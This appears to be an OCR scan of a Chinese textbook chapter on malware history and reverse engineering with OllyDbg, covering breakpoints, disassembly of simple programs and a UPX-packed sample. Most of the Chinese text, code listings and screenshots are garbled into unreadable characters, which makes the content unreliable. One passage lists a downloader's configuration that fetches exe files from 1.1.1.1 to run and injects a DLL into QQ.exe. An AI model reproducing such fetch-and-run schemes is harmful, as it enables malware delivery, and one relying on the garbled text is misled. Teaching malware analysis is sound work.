200052 F, —Fa R mRIE4 RS IS (DDOS) M 7 A KM, t)E
ffYahoo. YE5ifh. CNNZEM G FHiRMER. FEXH “ZHR”  (Love letter) HJHVBSHA
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B S S IR BRIl MR KRR AL 1, 9 B CLIRAAL 38 1) 7 A OGE B — A s B . AHEE T
HE VR S, HBAMEE R, R RN R I Outlook At #E w2 11 [/ 1, &
A AR FH ActiveX#E 45X T LA - B9 AS B 3 SO AT I SR AE

20014, Rd “affin” 5 CJeiAm” MAEK, EERARSRNFEELZ —,
DAL FL ) FH B Microsoft TIS Web k4548 Bl (Oday) XS ML T, FH HEETHHE
HLE B AU . e R i 3 AR IS £ Z U e T4, AR TA830A &
THEL, ERETT IR EIAS 30K TG, HRZ A E R LT RM R LT 4
BN —UR, SRR 5 R %A S B 2] TR . R, B4 R
RS T7 BEIET tik, AR, RARHTREAR R IERRIER S EE
J& B A AR o [ B 2 4 R SRR E .

20034F, M (Blaster) E#H4ER, ©FARPCIKFBETCPI3S S5 M, KA
BERGH B &R, SMEGEEN, SHEHEBRRTIFEGN. EtEIRGZ2 kR
FNTEFET VI (Symantec) “4RMNVBENZZMNEBHFEAER, 220 E124585M0H
R DR v S E S B . TRV R ) R “BERRHEL”  (TrendMicro) HI%
Fifh, “rpil” AEREERE T SER—MWAZETEL.

20044, [AIFE A HIRIEAREAT B E B E B (Sasser) JWERHELEKM, FIH
Lsassimifl#EAT46 4%, JFRaTEA P HENR 128N R 2 LM HAR - SALHE P, RIS
TEXRWEGFHK. MREX—FEN, B HETFIERRENGEHRFEH, XH2
Cabirdfi HUR FF, XMRREE XN 2 A HEIEWS60 A Y], Symbian ¥/ERZEHFHL, J+HAF
A IeFHATEE, BHFIURFREE ATRE .

20054F, KRB AT HEE SO B I O RE 2ok, 200541 A F10
A, —HBIRSI MBI R EIA 50 1794, HPoARD, il BEmELHTM1%,
U PAENKS CnRR. QQ. Milf) MADMEEN L, £i82000%F, WHRH -
AN EREL — A, FRHERAE30MEFHI. EEEERA “KET” (Win32.
Hack Huigezi) # & KABRMVIAFE HRHmRELZ—, “KOT” LFHE K. BRI
P B R B THEAUR BN T — AN PRI R R B

2006411 B, BREAE ) SRR ISR “ RRANGERE " WA ED AN T B0t &
PLHE PO REREGER A UR — PNl 2 YO Fp Ik doi i, BRgae ik, HP RS
IEE RS LSRRG, MR R A exe AT AT U B PR 2 4 B 2k
FRESE AR ORREN, X RRMREE R E LTI . ol i sk / 53k M R A%
¥, DUCREA G m B AR R B b, 7R LA AR LT & T BN R iR
Bo. BRTRLZIEM, BEREMEEHERMAGRNBAT 2, EIH A HEES
ER G, ERERIERSEZ IR, HESMEREREAgho XX, {13 ghostR 14T
WEBRAIER S, FFESAESERTFRFNHRSEE, SERTRELH, FTiEEH
oK. 201241 H, fEREEFER K, BEREFNZEMRESERERT TEEKMN, &
MEMREFREARNE, SEREWEFEHFERZER “SBIRE” , HF R
MHEAVEPIEUREAEE. T HAEARMERENAT, WEMEETRET R TAATLL
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TERR R R, A E R E KES R k.

20074, ek RAFE MM EREG U, TR A T ILERIOIR B A917 8394, [k
ZAEWEIN 170.7% . HAPARLFHESS0 9924, JEI1ME194 5814, PIEZAEEET7 71
A i RAEREEN84.5% . HPFHUR SRS F# ST ABIRREZE, Dhs
(AVE S5, AV is anti-virus) 8. KNAIRET IR, XEHRHEHEEHBEANER
g8, WA REPMIER AT SRR, MEFKS, Wb RIREEE N E.

20084, JREAEH AN E SMNBIFMREHBER T “MWitES” Kk, A/
T A _bAE TR M O, BUE TR T SRR RO TR R R, Bl R
F P R Z 2 22 AR VRO, BABCR T AR 150 55 M IR AR A g T 30
PRI EA R ORI o X AR 1 5 A R4 0 D0 & 19 22 4 N DN B T b M X T F U
T, THEAUH ) TP 45 i A A TR R AR .

20094F, “WIES” 58 AMESEE, XMEAG. WS B O b A
A, Horp gy Rl L& K2 A RNES) A VERIBHE, B RQBARE. MA kR
5, ULLUAEFRE. BilhHPRELRSE, WA ESNAKSEER, kBT
FUREEM P . B M 483 =k i H 25 240E, T M 48l R E 2R Rt 2 2 RN
Wy, XEHMAETRABER DR, EHEBITMERFIRERANERN, APASH
MEImWZE T AGHEEHNRT, LB RELE. £ PETFILRENAL
fmEE (EEEAE, Mobile spy) CEBERIHA LTI KT, HLBREAAR
HHEAURFTM S, Mobile spy LEEREMNAIME, BHIEZHMAIESN JLFrILAE 4 FRsAL
R —EFIT, HKEE2ERKIIhEE g, ®E, i, Eef. EEhES. H
TFIZEEMN A, A5 H R RS RTTEM T, XM EREFRTFIZ
U W RIP T 2 2B KRS 2 A S

2010%F, H PR THEAURFRR L h60%, HHELRT—R170.51%F A F B, Ak
THRERNRE, —HTHERTRASHEANZELEE, - TEAR T HEIEP
B 6 9 7 TR I K . R R I BCE AT ARt R B R AR NS, SEiTEH
FEFX T o SR T Web M3k 22 2 T 84K TH ™08, B 0day AW 24 . b 4 A 3
BEANRIRA K, (G738 2 s K IH e gz i Z 2 AR . B 5, =5 P Uy ) 03T ) B
g, HmESFHBPRENPTRRERANR . —FH R APTE S “EM P
(Stuxnet) FEPR4EK, APT (Advanced Persistent Threat) , BIESIE] v TRIWr Y, HA
PUREN XM, EEFAWRZIMBGA, REAR. “TEMHEE” BREZUATFERT
TR, ERTEERE RREIE THHTEE RS, ik athmT DLt S Bk R 58 — RN
MwE, g M E, d—RkBaEY, FRaE ks it 204G
1/SH B LWL RN R B i B3 T A 5K A .

RAHIR, HTFWeb2HRARBLWBHEMN, FEETREOBENMIYARLS HIT
AR, WWASHEE S HHEETFARETENR S, 2SS0 S N F
BARSN, REBATZ ST, Wl 200 A 5 TU 2 fir far s S ki 298 5 M ik el
BUEE K IREREZRS, SJREAHAZ S WA A AN BIE T, H “X
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fIRE” “BzE” 5 “RIE” BAAAREE. 201245 “F 17 KIH 25T WindowsH/E 246
FE CRE” RIETEE, W7 BRAER hR” R EEMIssE. R Ao
BIAEAFRE ), EREIMIE T HAVEA L EFE XN REREMHRERER, FHEFMRLFHFLE
MBR (BEftE5]Fid3) F. X, MELERETRE, WEKASESITER. FF,
HTZERGEFFHENRHE, LERBERIEHRBOEKIER, EENRNESMER
R EEMPIRIIEE, FHT202FHNTETHMESTFEHEISEF (FIE7E
T, MmN B RESERERENERG. HERITER) . FIZEERAE
FM

M20133)20154, SRR FEEHTUT M CEWH, B —E2B3h%hm, N2 M%
XATIRS . BRIESE LT, TR E RS H TR LR ORI/ APPSR JEAT ™A H o
%, SBUNTRERESERE, JFEREE 4. ESMNE AR AE, MR, X
A EIRIA R IEIRIE AR PR k. [FIAE, 1OSH P 4R fepi iR, BIRAPP
fEApp Store P T B T AG B %, {HAZ20144E11H, —/N 4 A WireLurkerf{i 85 B T 4
BSHMFREER . ZREEL A EES =T “FER” B, 2 P 7EMac/
PCEEEM “Z 5" Mt USBEREIOSW & PR, FRE i X 5 HHE
%, MWWHENARBBHRES, FEHAH TERERSHMF, Lo/ BIR. JR, 7K
IOSH P A BE I FN, HAEFREMEEHEER AEREEEmNE FERERRMNE=
TR, WAELRG AR, HLREBAERNY. AEERE, ERKLS TG
TR E AR MR K ERIEA T, #EREwR T ARG BER T IEERRES T B
WAE 5 — BRI . ZIEEE, KRR B AR R, Tk A ik
MR R, BRBRETINAGEEZM, WIFERRNYBMER, BLHR (&I
) RS IS

913 HENRENHER. 7EX5EHB

1. BRSNS

Wi B EUREE R B, BATAT LU R K A UR S

(1) f4k

WHAURRS N E AR E M, B AET N R W7 SO 2 I fE gy, YT
IZEVFHML S THENLZ R 5. A4 ol DR, WUR. B Eaf
i, WAL Bl NG AE S IR AT L.

(2) Witk

WK, HHENIREILEEHE SR ENLRS . B BRRaE . o
WRE) FEGIMER S B b0t B RERE . SRS 057 . R R s e )
HARI R RBMBIATE, 12 0 E T B i R -
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F9T  HEE

(3) BawctE

BRI R R e e R K AAE I AR e E &R, WE R AR
7E: O FUHHEIAMS, REEBHAMAN RIS GHEET, B —BASH
H W EALEE BT 04T R, feis IR I M B A AL P A @% LR
B, REEE TR RS TGS AR LB RFEER. —EREMY
B TIXP A, HCAIXANE T (K Bl P 2 A (1, (R B I R AR R

(4) Wk

P B R AR A U2 48 20 5 A AR 7E TR NN R AN S SLZ R AR, i st F P s
FEIF il R AR B A BT, WA 2IBT .

(5) WEM

WHAURRSHEERE N R R R, LRSI XN AN A4, Bt S
A AT — AL N SRU, FMaAEERXK, HEGREREERGEMFIZE, o
ARG R R ES WP R K, LR E R AR EME.

2. i ENREHERELR

H A W B v ELE T A LU LRSS AL,

> A& A A W32/Win32, PE4 AR, #k4VEWindows & 4%, VAR exede dll L
POER

» AR T A A Trojan, LA WKL R, BF%2EFA P OMALL LR,

> WA AHack, ZERKAE, HELRARIER A £,

> AR Py A Marco, E e, EFOffice L.

> A4 4 A Backdoor, J5 119, @i TCP/UDPHML, #|MCMD& 41T A4 £
it H .

> A4 P A A Harm, AR, M AL R AR A BATEOIR, defs XA,

> WA P Ajoke, MEREF, EEZUALRBAH L,

> AR T ABinder, AHFEE, WY AL EF L4 L, WAeIBHQQ.exe, M
Binder.QQ .exe.

3. itHEImSENER

e THARRE S, iR g, AR,

& TA # A6, wAPT=HF, KLmiE.

AT EE, 199954 &k k4, dBEER ot EmsSFREEMEL

FLAYEFHERNL, A—TBELEEZT E2EFLYLE RN HHAGTE

B4,
THTUHEIRFENRRBREES 7K, BAIRMA AR HEIRTE? B TRl ksl

SR, RIRAN T R BRI

A4

v

A4
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3&\\\\\\\\\\Qsm BESREWAEE

9.2 W M K i e By

9.2.1 ODitM

fE b ES R BEARN, PFE T OD R A ] 7 2% LA R A BCPF IR i 23 B o 1O 1k
Ho BFRE—F, BEHODX “RATHL” JRRHEAT A 04T, I AR H
I RF T RE LM T HOD, A Ea8, SRS 0.
HERE—/PEAE:

#include "stdafx.h"

int main(int argc, char* argv[]){
printf ("Hello,world!\n");

return 0;

}

IR A BAT T B4 4 prntfy retun, FHF ST ESR AR ]
T HDE SR S GRS ) & A 2

EEHAOD, E9-157R T & FE H.

« = [CPU THE, @F - .

LiL '3 -
BBLO10A2 | . BBEC mv  ebp, esp Kiax oavesene
epuiionn | . &R FF push = ECX OM2FFED
GBLpions | . 68 DMAONEOE  push B0k 06 08 0 EDX 7 NFN ntdll . KiFasts
OBUDI0AD | . 68 88264000 push  OOND2688 SE AR T EBX ,Eri:m 1
DBLNSE | . 6N DODORRI Rov eax, dword ptr Fs:[9] ESF DM2FFCN
oesinss | . S0 push eax EBF OEZFFFO
BBhiesT | . GN:E92S D000 mov dword ptr Fs:[0], esp ES] FFEFFFFF
B OSE | . BIEC 10 sub esp, 10 Eﬂ!u EDI 7CO30208 ntdll.7Co3e2 e
epuminet || . 58 push ebx
soudinsz|| . S8 push  esi EIP oonmiowi ag. iU ACl 5
eBL0s3 | . 57 push edi [ - T B{FFFFFFRY

epuniosh | . 8965 EW mov  dwerd ptr [ebp-18], esp
oy : > s 01

L" o EEEREE

gr 1
| SEmEn
21
s 0
e

H. 03B 320/ TFFDFOBR(
CS B Nllll

oaua7onn| 0. £, . . (aB.0a0. F..... ¥.£ 2FFCE
CLTT T |, Fr e P o ZFFEE
(T | R . . mmeCe St A m e
ool | O T I o e e e
OBUOTINE ... ... ... . O e reerearereererenen
CTTT T AT T mu ....................
LUt v TH | o sy o L

N R et ot e et et et e et oo e T

FFFEFEEE

GN2FFDB| TFFDRODD
OIAZFFD4| BOSHSBFD
OM2FFDE| OD12FFCE

C| B1hkd 020

TCRIVACE| SER |“1|;‘ -

E9-1 ODRE&EMO
FERRAN A D A o rTA9 20% R 7 1 RIS E
FE—MEF PN ODEAT A S RIL g AIAH g, HER— 2 KB D K, AIFIDE
iR IADSSAIAR, ZMREEREACOUSE, REAEER - TAOA
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Eom BETHE L /////////éC

VC 6.04m P FER, A RZEAHtk$E@push, XA ERTEint main(int arge, char*
argv[]) & XHHREES, (HE2PATH RIS 2EE3NSH, WE 92K,

. 58
. FF35 2009400
. FF35 1C99400
. E8 OBFFFFFF

push eax

push dword ptr [409920]
push dword ptr [40991C]
call 00401000

E9-2 mainFEA O
KPR =R ZHPAT TR ZH L, HAEM R HAT THF 2 18], Rl
WEERE, STEMmETAEMNH BT RSPITIRIAG AT HIAPILUME IR B iy 1T 7
B, ZEAEE, {UERR, AXEHEETLLE &K
XHEH—TCallif®, RABVBRILE A RESFIECallfE4, Han T — 48 5 ) Test()
TEHE.

BBUB10E.
BBL 1 BEA

‘uuuu1ut3
aBuB16Fe

Private Sub Form Load()
Call Test

End Sub

Sub Test ()

MsgBox "FHEMA"

End Sub

FEF AT G HE ALoad Bk AT Call Testd54, HAEFA B R BIE Test T A% TEILGMIE
O HRE AR, Call BUTEREFRESEAN T Test FRREUE, LRICHRARNZIEAN
T00401000iX A~ HubEp, KA CallZZ FEH B E A Calllibtik . Call %5 745

W AEE Call i 7~ (0 T R B35, TTHZODI LT, X B 84 FF7TE U,
A EIME-3FT R R

ASCIT “Hello World!"“,LF

E9-3 FE#
REANEBPFESHFS, BENAERE —BTHRE, H sub test()
SERIT P 9-4 TR
WA AECGTRAEAR T, mAREididss: sphkELMY. F
KA Callifl A F J 3 ey ab &, 4o RA S LR A Apush, B A
pushZ EAENE, EELREFHIFEEARA,

end sub
E9-4 FRELEH

00401000 /$ 68 30704000 push 00407030 ;

ASCII "Hello World!",

LF

[/ E—FIESHRERE00407030 U ARIASCIIFfF"Hello World" EAMHE
00401005 |. E8 06000000 call 00401010

//Bk%5 3] 00401010 HbitEHITHES, XERI004010105E4H= FSub Test ()
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e\
AN mEsmemAEn

0040100A |. 83C4 04 add esp, 4
/I R ]

0040100D |. 33C0 xor eax, eax
/I EREES

0040100F \. C3 retn

/ /IR[El

AT DA A 22 AR 1) BV G A RS AT AR

#include "stdafx.h"

int main(int argc, char* argv[])
{

printf ("Hello,world!\n");

return 0;

}

B EPAT E R $main. I mainfF 3025, P LSRN S HEF e B A\ B ],
LA 1 F main ) 55 7] CA7E main bR 3P 3013 21 240

HASERE AT Callbf 5, ki Blmain EF2)F . mainfe )7 5 55 Hprintfe& 30, B A
printf R EH — NS4, PR RBZ AR SRS P A, Frolsia
i S gAY o

00401000 /$ 68 30704000 push 00407030 ; ASCII “Hello World!" ,LF
00401005 |. E8 06000000 call 00401010

VAR SEZ e i ZF S, TR ERRG 320, FrilZEml 24,

0040100A |. 83C4 04 add esp, 4

B Teax A AF 2R E IR ], P fTreturn 0. XFt2 LRI IPATIAR
HEBAE.

#include "stdafx.h"
int main(int argc, char* argv[])

{

int a;

scanf ("%d", &a) ;
a——;

if (a==1)

{printf ("AIN\n") ;)
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else
{printf ("LHK\n") ;}
return 0;

}

MRS ZEE, W LUME A LR, HAES b R

W, HA U T —T.
T B A ) S 4 ) mainfGAS .
00401000 /$ 51 push ecx ; 0llyDbgT.004080C8
/ 1RIPELS

00401001 |. 8D4424 00 lea eax, dword ptr [esp]
//3FBint a TENMIRTFHeax TN

00401005 |. 50 push eax

/ IR aRttb i %

00401006 |. €8 40804000 push 00408040 ; ASCIT "3d"
/ 1 EFITER

0040100B |. E8 71000000 call 00401081

/ /BB scanf R

00401010 |. 8B4424 08 mov eax, dword ptr [esp+8]

/=
0% mEREE L

X B SR B A A

/ I RRARNEF RFitcaxF TN, XEMesp+8LiRE Hatttit R E —MSH

00401014 |. 83C4 08 add esp, 8

/1 R e

00401017 |. 48 dec eax

/11X B ReaxMAIBURHTRILERIE

00401018 |. 83F8 01 cmp eax, 1

[/ ReaxFFRNATS1HTHR

0040101B |. 894424 00 mov dword ptr [espl, eax

/1 HeaxBFERENABREFHaZER
0040101F |. 75 11 jnz short 00401032

/ /TR AH 2 N Bkt
00401021 |. €8 38804000 push 00408038

/IEN “RIN FFF
0040102¢ |. E8 25000000 call 00401050

/ 1 BATHTEN S H iR 3

0040102B |. 83C4 04 add esp, 4
/ 1 R

0040102E |. 33C0 xor eax, eax
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e\
AN mEsmemAEn

/1BE

00401030 |. 59 pop ecx
/ /% tecx

00401031 |. C3 retn

/ /1R [8]

00401032 |> €8 30804000 push 00408030
[IEN R FFF

00401037 |. E8 14000000 call 00401050
/ 1 BATHTENS L R

0040103C |. 83C4 04 add esp, 4

/1 T

0040103F |. 33C0 xor eax, eax

/1BE

00401041 |. 59 pop ecx

//#tecx

00401042 \. C3 retn

/ /IR [E]

RR: TVAAF|00401018 | 83F8 01 cmp eax, 12A-%4E, Felf52A2iKiK?

N THI SR AR AR 23 B b B AR

B — 4SRN hE, KD <=2MRE RGN EA32, ss: sp AN SHERA KX
H) &7 A7 25 o

> ss AT H S

> sp AR THS.

ss: SpTEATTR AT ZI AR M AR T, BPARZS [ S KB N E—AN 75

LA TR, REBAEITE, WBREE TIERNERTTE, REER T —
ANWAFHRIC. Blin: K 10000H~1000FHE N, MH A%, Hdss: sph
10000~ 10010H; 4% H A e fax=2266H, N Tpush axif, ss: sp 5[ KIFE T K
10000H~10010H-2 CiXH 27 g 2750 , it &10000H~1000EH, )55 NE#H,
ST LB 7 ANGT=H - 11 | O (1080 2 7 P AN 18 1R 2

ah=227F A\1000FH, al=667F A1000EH, [k AHHIEsp+2, 38 H A figsp-2.

ERFEA GXHEPFEARBRIATIAT ) &, ERHNRERGIHTER, REH3
HARATRMEE XL, BERERSIBEHITHREN, EEARAAHANGER. #
ELEMPEDEERXMEANMAE, EHAH 2R, RAeHEZXI N EFREEEEN
FEFF .

MER: WAZNEHRGEEMFCEHL, WRENRKEMFCHE LRI ARAZR
HIRAE. AT R SS S IDARESS B PR 1S 23 3 R P fr ik, AR5 7T BAXS EEMFC S
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B R BRI A

WERAR: WHREKIENERE. IPMRKATLBTRE L& DR F-T 047

BT —FHIPSHA (BB IERBRZAT ARG , R/EEELLOIyDbgIZ T (T
LA AZIHAT T o X—8 LRI SHIPS HAER, KikH 7 XA
hig; SRJa A MR HX T w5 Dh R MU AR .

Bl T HERFEA, EETEHTATEE, LENTAERRIESEEKM, L
EEARIENG HRE T, ZXNHEAERKER) , RGFHRIRSTE, 53 TRk
oo WREHE TEA AL BB F R A B R, ot LR A& 200 Sk

http: \1.1.1.1\1 txt

WHEIT:

http: \\1.1.1.1\l.exe, NULL, i&4T

http: \1.1.1.1'2DLL, #F#AZF|QQ.exe, i&fT

http: \\1.1.1.1\3.exe, NULL, i&4T

http: \1.1.1.1\4.exe, NULL, 3#24T

HMhttp: WL1LI\Ltxt SREFEARSS, S3REE] Eidtg X 7R 5.

XN EBAT AR, HERPIFER, HIRRES, REEX 184, TEAS
O AR

FRPR=REUN L HNE FFF ( “http: W11 1N\ xt” )

HA-nRF/R (FRE, BIER |

HAV=EIFF (B4, E25) ;

ny

FeB110] //Atut
HéBi111 //7AES
Hil1(21 //REEETHERSFET

WE TR 2 T H.

BB TEETE FEATNFRMALRE, BT RAHONyDbgl T i i .

BRI — o ST B S0 . OllyDbg 32 K5 BURh A [ 24 7Y 1) b7 o5

(1) —f#r 1 (Ordinary breakpoint) . RAEF WIS HH— 5T, H— ¥
A INT3 CRRAEFEH) R, ERICHRE D F, E&h EZgk A iE 17T 3 %r2 s,
AT ARCE — MR AL I T DAFEPR SR B P i . PRI T F2 BN, M R
MikR. R, FEPIGAE R B R e 2 BT Z i .

INT3 Wy o ) 1508 5 A VAT PR, 4 5 P TR R e 2l TR 38 () 1%, OllyDbg
¥ B ShIB XL R R . AT A ZRK B AR EE Bl 18 4 1 o B B B X A A
R ARG B A B W R, OllyDbghr e K &S . #F4%4%i%T (Security options) 3%
HAIEA R, IRSSER LG O 24 B Y ImE INT3 B .

(2) %W & (Conditional breakpoint) , HRFEHRE Shift+F2. &40 a2 —
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AN gEszemiEs _

A &AFFREADLBINTIN . RSB BXRE N S EREWME, RS
RAEFSEREL, BEEWHERET. 28, BEHBRPE S5 KT 2IE
W (EEBAETEERSENRNEED) o f£Windows NT. FHE I1/4504b # 28 PR 5%
T, OllyDbgRp#b#5 2 Ab F2500 4 A4 A i A 07 il e 4R A1 7 sl ) — > SRR T IS L B 22 7
WindowsyH & b (Hbin WM_PAINT) W EW &, ik, WLUEAEE MSG FiE 4S5
UABCE A, WRE OHBEE, IS S mEE B SR .

(3) Z&fFic kMW . (Conditional logging breakpoint) , HifEHE AyShift+F4. 50
ST e — B AR T, A5 208 B T B R AR AFRT, B E S B 0 R BRI 5K
SRBSHWE. Fltn, AR —SeRm D R b, WE DR RS X X R B
WH . B F W EIFWM_COMMAND/E BEAR R AT 5 a2 061 8 S04 5 86 4
(CreateFile) iy at, I HidxLLR B EAT RSO 23, o SR W A0 5% 14 M sl e
FEA S, MASEE DR BT 4R B E R ETTIRFOREINGE 2, BT LU RIAIE
PP e AT fE R U o

WEE K. FRTEEIEFEN, RS Rl R, AE
F0, OllyDbgift & 4kEHAT. WR—MEHFIATI00K CHEEHD , FETRAAEN BE—
W S v B R B 99 (3t OllyDbg¥ & 7E & fa — IR PAT TR RIS B 455 .

FA LR W AVHEE N ERE AN LS (plugns) o flin, EHFEEHGS
TSN EFARNNE, REREPATER.

(4) JHEWr s (Message breakpoint) . H B Wi & A& id kW fi3EA4H[F], OllyDbg
LB E AN, EPMEFHATEENEEMALDLEREREHEE (HinwM_
PSINT) Wiri, nJLI7EWindows 0 iE &,

(5) FRIEEWT A (Trace breakpoint) . FREZETARTEREANIE T @S BB ATk
AUINT3MW A W& E THIRER (hit trace) , Wit &7EMAPATEBERI7E %ML hEAL 1
—Abrids anBAE A Z2RuniREE (run trace) , OllyDbg< s INER R EHE 10 5% 9F BLAA LR
R T R EOE RS

(6) WHEWr A (Memory breakpoint) . OllyDbg®E— % H ARV — AN AN FWT 4.
fERILSE . CPUR H . B¥EE D PEFE o NFE, REMEAREERRTLIRENEF
Wi, BB SRAE LURTE AP A B B SR . EAEWNFYIE GE. 5. #4)
IR, EATENFESARPW . RE]EW S, OllyDbgls 2 B8 B & 73+ (1) A F7 3k
Bt . FE580 X 86 AL BEAS [, S 4096Byte ] A # BLF-rdrde ok,  BRAEAUY
W T 1MFT5, OllyDbg tha iAW R R A friF R, XE I ERKENERES,
E/NOME 2R T . B R GE R EL (JCILJEAEWindows 95/98°F) £E 5[] 52 PrdP 1 I AT
i AMEA S A VAR B ST 2 38 RN YA RS P e 357 o

(7) BE{FW7 s (Hardware breakpoint) ({X#£Windows ME/NT/2000 FrJH) . 7
80 X 86AAHIALEE A b, SUVFBCEAMRELFWT A, AW RN AT AR, B AR
RPATHEE, HEEZ RRE GNP, EFPHITECE IRECIERY, OllyDbgfg W% ff
Rt BT R AR INT3 T L
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som mETHE L

(8) WA IRl — X PEWT &5 (Single-shot break on memory access) ({V7EWindows
NT/2000 FATH) o X34~ A A7 B e B i 2R FT LU IS A 3 D O PREESE . (BRI T2
B SR5EH. A ARRE TR Bk B 2R, 122 Sk BRI H . iR AL
Ja, T R AR

(9) F{FRunfiEx (Run trace pause) HRFER HCul+T. FHEFRunifREsEER—I
RunfRER (run trace) BF#BELAE M) — 44, B AT LAZEEIPHEAREANYE H sl 3G
FIEE 5 AR BN i 51 E fEVLE R {5, S TSR i
5. R, X—HEESNKH (51X20%) FEIRRunif iR 0 EE .

OllyDbgth AT LLfE — i FH4 (debugging events) FEFEFEFHAT, HoimhnikakEn
HDLL. A ghE & SRR B B e A H R 4 B8 B IR T 4

CPUBRIERIXN R R F/HFE, FHHENFELZ L, Hba LR 2RI F
a5

TR FRADR, (A FAR) - DRIFAF AR ALHS), MWDREDR;.

BN FHAENERWT.

> DR,~DR,: AKILIFHE CRARI) . RS
DRO 9080800

» DR,~DR;: #%. DR1 08000800

> DRy HRFHBEREFHS. Dhe 80090000

> DRy ARG A BRI TS DR6 06808080
fEOIlyDbg X HF A4 E N LLEE A £ 451 |DR7 08000008
E, WE9-55x. P —
XETF—MEFUT R B (LE9-6) , FILLEFIDR, AR T Wi sl L1 [ (bhE
IMDRe DR AMHIL T Eid . XBEARBER, B KT hREAL, B AKKTE R nT LA
XA EAREE K.

. X|| |pRO BB12FFCH
# IR +n  EEF DR1 0O0BOROH

— DR2 0BOBABANG
1 j M DR3 0O60000OD
2 | | i 2 fitite 2

= | | DR6 FFFFOFFO
- | e | ke B ﬂnn? 00670581

— — B e acoe—. | i i

E9-6 @i%ﬁ.r.—‘i
WEVRK S22 G, WREEAPILE TS EHZENMBIAPIHIE . X TR B A5
115, nE9-7R.

4, 011yICE - SmATEAH A exe — [CPU - F£EF, #Hik - msvevEc0]

4 0115yICE - MAETEA . exe — [CPU - F8E, #Hih - RAETE]
E9-7 OllylICEARIFEEL B

7ERE9-7 EJ7 B “Bi-MSVBVM60” T4, W BRmFFIERRREFHARK, B
BESEIT T AR, WwRXAEEBT, BRHFA IR,
W T s 772 bp APIEREL (JLK9-8) , 40 bp DeleteFileA (K43 K/PNE) .
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O

S \\\\

:

!
RESRERAER

M EEIEIT/E, &3 DeleteFileR HH B Ik, XEMH A4 Tbp DeleteFileWH
Mo WERE—T, AW ERFEFREIEFAPIEA BAA, ANSI ("A™) 1 ("W™)
[¥] Unicode R4S,

00504018 |68 06 00 0
00504028 08 00 00 @

nua1arn|[nnu F| peleteFilen [ dwad.BB481BF
0012F694| 005B43D4|LFileMame = “aaa™

00504038 |08 00 00 @ | 0012F698| 0012F984
00504048 |00 00 00 @ | OO12F69C| OO175E70
00504058 |08 00 00 @ | 0012F6A0| 00GOOBOD
005D4068 |00 00 00 @ | 6812F6A4| CCCCCCCC
005D4%078 | 00 00 00 O, OO12F6A8| CCCCCCCC

Command [op Deleteriiea =l
- o E9-8 bp APIFZ]
A 3 3K B 25 T LAATE XA HIs AT e e BR 2o R e XA B sl 2 W T
FEA, BATTLUSATEIRE], KRGS (push ebp) ALEETW, FEHIZITHET
BT, RIEBA TR NER

922 “BMIL” mESW

HAITTFEA, SRR — A EHER 0, FTLUE 3
AL 4 PR R 7E o O X3P, o HH R S T R b R AR, T [
9-9F 7o

i FHOllyDbgE N IXAMEF, #ATEIA DAL (ILE9-10) . £9-9 “BIMIIL” &

$ 818424 761E0| add duord ptr [esp], 1E76
0ou01191|| . FFDO call eax
00401193 | . 6A 00 push ] ExitCode = @
00401195 | . ES 2C000000 call <jmp .&KERNEL32 .ExitProcess> ExitProcess

BE9-10 ANOafE
RUTHAR 2 — #5385 O ERIE, IRESHIIAN.
RIG, EFTRERBEIXA call [call eax]iBh), XEABERT . BT HRAE L,
LR B BX AN 12 8 .
IINTAT UL —H TARKE B2, WmE9-115T7R.

YU wivewise pusn FE WYy

ES B3110000 call PB4BAEF3 PRiANER
B3CL 18 add esp, 10 1 1 e

8945 FC mou dword ptr [ebp-h], eax IR ERFEANTE
68 OC314000 push ae40310C ASCI1 “wozhenxiangzisha"
FF75 FC push dword ptr [ebp-4] i-aindiabr)

E8 B6F7FFFF  |call  004894D9 gﬁiﬁ"fﬁti—ﬂ
83C4 08 add esp, 8

B3FB 08 cmp eax, 0

B8 apopoeee nov eax, @

OF9LCH sete al

8945 F8 mou dword ptr [ebp-8], eax

8B5D FC nov ebx, dword ptr [ebp-4]

85DB test ebx, ebx

74 09 je short 004B9D74

53 push ebx

E8 94110800 call BOLBAF BS 1 g

83ChH 04 add esp, 4

297nh F2 An ~mn dAwnrd nte Fahn-821 n

Fo-11  “BifriL” ZaniEEidis
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Eom BETHE L /////////éC

XA R h RS, AT LAERHEITIXAMET, R )55 Awozhenxiangzishafi AT LA T .

923 EEHWETER

S8R, BERUE B HrwE, OUEHODEAEN), ATRAE—L% 1w
BT LR, (EFEE MTA. MURS LR R, DLRGRFR AR W A 2B
VAIRTEAR VAL B

1. PED—&%TH

PEiD (JLE9-12) TEAB P L RIRS, £—FHKIEENHENEXSPE AR £ T8,
REEE IR —AEAN TERRAMEE, H—AHEE8 TR 5 i g
Mo INFEl) R BRIl o 75 2 i 5T LUE A BE A EL IR B 2 R BT a6 70T -

File: {C:\Documents and Settings!admin| S @\ & ¥ aaa.exe fiad
Entrypoint: ﬁmZDEm EP Section: LIPX1 |i|
File Offset: poooez7o First Bytes: K0,BE,00,80
Linker Info: 6.0 Subsystem: Min3zGUI
Tothing Faund *

| Multiscan | | Taskviewer | | options | about || Ext |
V¥ Stay on top 7

E9-12 PEDEARE
B9-13 = iy e — M mFe iy 3ct . RBR, BPAMEdn®E e, %17 ErtR
HIFFAERE A O SR BT AR S bk, Rt Te AR s A A RIS B

4. 0115¥ICE — B ff aaa.exe — [CPU — FEHFF, #E: — S aaal

e e =B Wdo #wmEe EHO BOw #FEho
B e g ] ] e
B042DE7 0 BN pushad
0842DE71| . BE 88884280 |mov esi, 08428068
0O42DE76| . SDBE O090FDFI lea edi, dword ptr [esi+FFFD9800]
8842DEVC| . 57 push edi
0842DE7D| . S89ES mou ebp, esp
0O42DEFF| . 8D9C24 8BCAF|lea ebx, dword ptr [esp-3E80]
8842DESB6| . 31CO Xor eax, eax
0842DEBB| > 58 push eax
0042DES2| . 39DC cmp esp, ebx
8042DESB| .© 75 FB jnz Sshort O842DESS
BO42DESD| . ué inc esi
0042DEBE| . 46 inc esi
0O42DESF| . 53 push ebx
0042DE?B| . 68 29B58260 |push 2B529
0042DE95| . 57 push edi
0042DE?6| . 83IC3 B4 add ebx, 4
0042DE?9?| . 53 push ebx
0042DE9A| . 68 6CS5EQ000 |push SE6C
DO4Z2DESF| . 56 push esi
0842DEAB| . 83C3 64 add ebx, 4
0042DEA3| . 53 push ebx
8042DEAL 5a push eax

E9-13 fnsEscit
BT AN 2 J5, SRAER A B E S ELSm H, A —IThRE N IEE K
ANO S RE, R MAAFRER AT LA 2% F2 5 H T MessageBox AR %L, WE9-14F17 .
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3&\\\\\\\\\@” BESREWAEE

. O1l1yICE — aaa.exe — [CPU — FE2E%, #ith — aaal
